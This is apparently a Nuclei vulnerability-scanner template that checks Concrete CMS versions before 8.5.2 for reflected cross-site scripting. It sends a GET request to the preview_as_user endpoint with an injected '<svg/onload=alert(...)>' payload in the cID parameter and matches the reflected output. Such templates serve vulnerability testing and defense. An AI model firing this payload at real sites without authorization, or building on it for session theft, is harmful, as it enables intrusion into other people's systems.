id: concrete-xss

info:
  name: Concrete CMS <8.5.2 - Cross-Site Scripting
  author: shifacyclewla,hackergautam,djoevanka
  severity: high
  description: Concrete CMS before 8.5.2 contains a cross-site scripting vulnerability in preview_as_user function using cID parameter.
  reference:
    - https://hackerone.com/reports/643442
    - https://github.com/concrete5/concrete5/pull/7999
    - https://twitter.com/JacksonHHax/status/1389222207805661187
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: hackerone,concrete,xss,cms,unauth,intrusive

http:
  - method: GET
    path:
      - '{{BaseURL}}/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert("{{randstr}}")>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</iframe><svg/onload=alert("{{randstr}}")>'

      - type: word
        part: header
        words:
          - "text/html"
          - "CONCRETE5"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e1edc895b46f5fae34ebfbffc765ee225dd5f2b00fb8511a23cb3acba722c9fb022038afa7ad83f5f5d147c25af8115e7a4ac669b88248d4170262cb645f6d2bb67f:922c64590222798bb761d5b6d8e72950